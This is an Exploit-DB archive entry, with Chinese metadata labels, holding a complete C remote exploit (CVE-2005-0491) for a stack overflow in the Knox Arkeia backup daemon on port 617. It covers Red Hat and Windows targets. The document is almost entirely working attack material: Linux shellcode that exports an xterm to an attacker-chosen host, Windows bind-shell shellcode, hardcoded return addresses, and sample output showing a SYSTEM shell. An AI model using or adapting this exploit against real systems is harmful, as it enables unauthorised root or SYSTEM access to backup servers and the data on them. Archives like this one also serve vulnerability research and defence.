标题: Knox Arkeia Server Backup 5.3.x - Remote Code Execution EDB-ID: 828 CVE: 2005-0491 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-02-18 漏洞利用脚本: /*
 * Knox Arkiea Server Backup
 * arkiead local/remote root exploit
 * Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE 
 * Works up to current version 5.3.x 
 *
 * ---------------
 *
 * Linux x86:
 * ./arksink2 <arkeia_host> <target_type> <display>
 *
 * Exports an xterm to the box of your choosing.  Make sure to "xhost +" on
 * the box you're exporting to.
 * 
 * A stack overflow is in the processing of a type 77 request.  EIP is actually
 * overwritten at 64 bytes, but the trailing NULL scrambled a pointer so we
 * have to write past EIP and insert a "safe" value.  Put this value behind your
 * NOP+sc return address so it doesn't mess with the sled.
 *
 * Since the buffer is so small, we initially send an invalid packet that ends
 * up on the heap a second before the overflow happens.  If it is a high traffic
 * Arkeia server the heap might be a bit volatile, so play around with putting
 * nops+sc after the overwritten pointer.  The heap method avoids non-exec stack
 * protection, however.
 *
 * Includes targets for RH8 and RH7.2
 * 
 * [user@host user]$ ./prog 192.168.1.2 1 192.168.1.1:0
 * [*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit
 * [*] Attacking LINUX system
 * [*] Exporting xterm to 192.168.1.1:0 
 * [*] Connected to 192.168.1.2:617 NOP+shellcode socket
 * [*] Connected to 192.168.1.2:617 overflow socket
 * [*] Sending nops+shellcode
 * [*] Done, sleeping
 * [*] Done, check for xterm
 *
 *
 * ---------------
 * 
 * Windows x86:
 * ./prog <host> <target> <offset>
 *
 * Spawns a shell on port 80 of the remote host
 *
 * EIP is overwritten beginning with the 25th byte after the header.  Since Windows
 * is little endian and has the heap mapped to 0x00XXXXXX we can avoid having to
 * write an extra null past EIP.  Another advantage here is that we can put all our
 * nops and shellcode in the same packet, but after the NULL.  They will not be copied
 * onto the stack (and therefore not munge the pointer after it) but will remain
 * in memory as a raw packet.  Fire up ollydbg, search for your nops and voila.
 *
 * [user@host user]$ ./arksink2 192.168.1.2 3 0
 * [*] Knox Arkeia <= v5.3.x remote SYSTEM exploit
 * [*] Attacking Windows system
 * [*] Spawning shell on 192.168.1.2:80
 * [*] Connected to 192.168.1.2:617 overflow socket
 * [*] Sending overflow
 * [*] Attempting to get remote shell, try #0
 * [!] connect: Resolver Error 0 (no error)
 * [*] Attempting to get remote shell, try #1
 * [!] connect: Resolver Error 0 (no error)
 * [*] Attempting to get remote shell, try #2
 * [!] connect: Resolver Error 0 (no error)
 * [*] Attempting to get remote shell, try #3
 * [!] connect: Resolver Error 0 (no error)
 * [*] Attempting to get remote shell, try #4
 * [*] Success, enjoy
 * Microsoft Windows 2000 [Version 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\WINNT\system32>whoami
 * whoami
 * SYSTEM
 *
 * C:\WINNT\system32>
 * 
 *
 * ---------------
 * 
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>

#define BUFLEN  10000  /* for readshell()  */
#define DATA_LEN 1000  /* overflow packet data section */
#define HEAD_LEN  8  /* overflow packet header */
#define NOP_LEN  20000  /* nop+shellcode packet  */
#define ARK_PORT 617  /* port Arkeiad listens on */
#define SHELL_PORT 80  /* for the windows shellcode */
#define NOP   0x90  /* Intel x86   */
#define NUMTARGS 5  /* increase when adding targets */
#define LINUX  1  /* Linux target type  */
#define WINDOWS  2  /* Windows target type  */

struct {
 char   *os;
 unsigned int targret;
 unsigned int targsafe;
 unsigned int len;
 int  targtype;
} targets[] = {
 { "Redhat 8.0", 0x80ecf90, 0x080e0144, 68, LINUX },
 { "Redhat 7.2", 0x80eddc0, 0x080eb940, 68, LINUX },
 { "Windows 2k SP2, SP3, SP4", 0x007d2144, 0xdeadbeef, 28, WINDOWS },
 { "Windows 2003 EE", 0x007b2178, 0xdeadbeef, 28, WINDOWS },
 { "Windows XP SP1", 0x007d20e7, 0xdeadbeef, 28, WINDOWS },
 NULL
};


// Linux shellcode exports xterm
const char shellcode[] =
"\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b"
"\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88"
"\x34\x32\x31\xd2\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d"
"\x7e\x19\x89\x7e\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e"
"\x36\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xac\xff\xff\xff"
"/usr/X11R6/bin/xterm8-ut8-display8";

// Windows shellcode binds shell to port 80
const char shellcode_win[] =
    "\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xbf\x62\x1f\x4c\xd5\x24\xc5\xd3"
    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2b\xa2\x04";


unsigned int resolve(char *hostname)
{
 u_long  ip = 0;
 struct hostent *hoste;

 if ((int)(ip = inet_addr(hostname)) == -1)
 {
  if ((hoste = gethostbyname(hostname)) == NULL)
  {
   herror("[!] gethostbyname");
   exit(-1);
  }
  memcpy(&ip, hoste->h_addr, hoste->h_length);
 }
 return(ip);
}


int isock(char *hostname, int portnum)
{
 struct sockaddr_in sock_a;
 int   num, sock;
 unsigned int  ip;
 fd_set   input;

 sock_a.sin_family = AF_INET;
 sock_a.sin_port = htons(portnum);
 sock_a.sin_addr.s_addr = resolve(hostname);

 if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
 {
  herror("[!] accept");
  return(-1);
 }
 
 if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
 {
  herror("[!] connect");
  return(-1);
 }
 
 return(sock);
 
}

int usage(char *progname)
{
 int  i;

 fprintf(stderr, "Usage:\n%s hostname target_num display  (attacking Linux)\n", progname);
 fprintf(stderr, "%s hostname target_num offset   (attacking Windows)\n", progname);
 for (i = 0; targets[i].os; i++)
  fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
 fprintf(stderr, "Example: %s 192.168.1.2 1 192.168.1.1:0\n", progname);
 exit(-1);
}

int getshell(int sock)
{

 char buf[BUFLEN];
 int nread=0;

   while(1) 
 { 
      fd_set input; 
      FD_SET(0,&input); 
      FD_SET(sock,&input); 
      select(sock+1,&input,NULL,NULL,NULL); 
     
  if(FD_ISSET(sock,&input)) 
  { 
         nread=read(sock,buf,BUFLEN); 
         write(1,buf,nread); 
       } 
       if(FD_ISSET(0,&input)) 
        write(sock,buf,read(0,buf,BUFLEN)); 
   } 
}

int lin(char *host, char *export, unsigned int tnum)
{

 char   head[]   = "\x00\x4d\x00\x03\x00\x01\xff\xff";
 char   data[DATA_LEN];
 char  sc_req[NOP_LEN*2];
 char  *sc;
 unsigned int retaddr;
 unsigned int safe;
 int  datalen  = 0;
 int  port  = ARK_PORT;
 int  sock_overflow, sock_nops;
 int   i;
 int  nullmap = 0;

 sock_overflow = sock_nops = 0;

 retaddr = targets[tnum].targret;
 safe = targets[tnum].targsafe;
 datalen = targets[tnum].len;

 
 sock_nops = isock(host, port);

 if (sock_nops < 1)
  exit(-1);
 fprintf(stderr, "[*] Connected to %s:%d NOP+shellcode socket\n", host, port);

 sock_overflow = isock(host, port);
 if (sock_overflow < 1)
   exit(-1);
 fprintf(stderr, "[*] Connected to %s:%d overflow socket\n", host, port);

 // build data section of overflow packet
 memset(data, NOP, DATA_LEN);

 // copy in return address
 memcpy(data+datalen - 8, (char *)&retaddr, 4);
 // we overwrite a pointer that must be a valid address
 memcpy(data+datalen-4, (char *)&safe, 4); 

 datalen = ntohs(datalen);
 memcpy(head+6, (char *)&datalen, 2);

 // build invalid packet with nops+shellcode
 memset(sc_req, NOP, NOP_LEN+1);
 sc = (char *)malloc(strlen(shellcode) + strlen(export) + 2);
 sprintf(sc, "%s%s%s", shellcode, export, "K");
 if (strlen(sc) + NOP_LEN > NOP_LEN*2-1) 
 {
  fprintf(stderr, "[!] display name too long\n");
  exit(-1);
 }

 memcpy(sc_req+NOP_LEN, sc, strlen(sc));

 // send invalid nop+shellcode packet
 fprintf(stderr, "[*] Sending nops+shellcode\n");
 write(sock_nops, sc_req, NOP_LEN+strlen(sc)+1); 
 fprintf(stderr, "[*] Done, sleeping\n");
 sleep(1);
 close(sock_nops);

 // send overflow, pointing EIP to above nops+sc
 write(sock_overflow, head, HEAD_LEN); // 8 byte header
 datalen = ntohs(datalen);
 fprintf(stderr, "[*] Sending overflow\n");
 write(sock_overflow, data, datalen); // small overflow packet
 fprintf(stderr, "[*] Done, check for xterm\n");
 close(sock_overflow);

}

void windows (char *host, int tnum, int offset)
{
 char   head[]   = "\x00\x4d\x00\x03\x00\x01\xff\xff";
 char   data[DATA_LEN];
 char  sc_req[NOP_LEN*2];
 char  *sc;
 char  *export;
 unsigned int ret;
 unsigned int safeaddr;
 int  overflow_len;
 int  datasiz  = DATA_LEN;
 int  datalen  = 0;
 int  port  = ARK_PORT;
 int  sock_overflow, sock_nops, sock_shell;
 int   i;


 datalen = targets[tnum].len;
 ret = targets[tnum].targret + offset;
 sock_overflow = isock(host, port);
 if (sock_overflow < 1)
   exit(-1);
 fprintf(stderr, "[*] Connected to %s:%d overflow socket\n", host, port);

 // build data section of overflow packet
 memset(data, NOP, DATA_LEN);
 memcpy(data+datalen - 4, (char *)&ret, 4);
 memcpy(data+DATA_LEN-strlen(shellcode_win)-1, shellcode_win, strlen(shellcode_win));
 
 // put size into header
 datasiz = ntohs(datasiz);
 memcpy(head+6, (char *)&datasiz, 2);

 fprintf(stderr, "[*] Sending overflow\n");
 write(sock_overflow, head, HEAD_LEN);  // 8 byte header
 write(sock_overflow, data, DATA_LEN);  // large data section
 close(sock_overflow);

 for (i = 0; i < 20; i++)
 {
  sleep(1); 
  fprintf(stderr, "[*] Attempting to get remote shell, try #%d\n", i);
  // connect to shell
  sock_shell = isock(host, SHELL_PORT);
  if (sock_shell > 0)
  {
   fprintf(stderr, "[*] Success, enjoy\n");
   getshell(sock_shell);
  }
 }

 fprintf(stderr, "[!] Exploit failed or cannot connect to port 80\n");
 exit(-1);
}

int main( int argc, char **argv)
{

 /* first 2 bytes are a type 77 request */
 /* last two bytes length */
 char  *host;
 char  *export;
 unsigned int tnum;
 int  datalen  = 0;
 int  offset  = 0;

 
 if (argc == 4)
 {
  host = argv[1];
  tnum = atoi(argv[2]);

  if (targets[tnum].targtype == LINUX)
   export = argv[3];
  else
   offset=atoi(argv[3]);

  if (tnum > NUMTARGS || tnum == 0)
  {
   fprintf(stderr, "[!] Invalid target\n");
   usage(argv[0]);
  }
 }
 else
 {
  usage(argv[0]);
 }
 
 tnum--;

 fprintf(stderr, "[*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit\n");
 fprintf(stderr, "[*] Attacking %s system\n", targets[tnum].os);

 if (targets[tnum].targtype == LINUX )
 {
  fprintf(stderr, "[*] Exporting xterm to %s\n", export);
  lin(host, export, tnum);
 }
 else if (targets[tnum].targtype == WINDOWS)
 {
  fprintf(stderr, "[*] Spawning shell on %s:%d\n", host, SHELL_PORT);
  windows(host, tnum, offset);
 }
 else
 {
  fprintf(stderr, "[!] Unknown target type: %d\n", targets[tnum].targtype);
  exit(-1);
 }

}

// milw0rm.com [2005-02-18] URL: https://www.exploit-db.com/exploits/828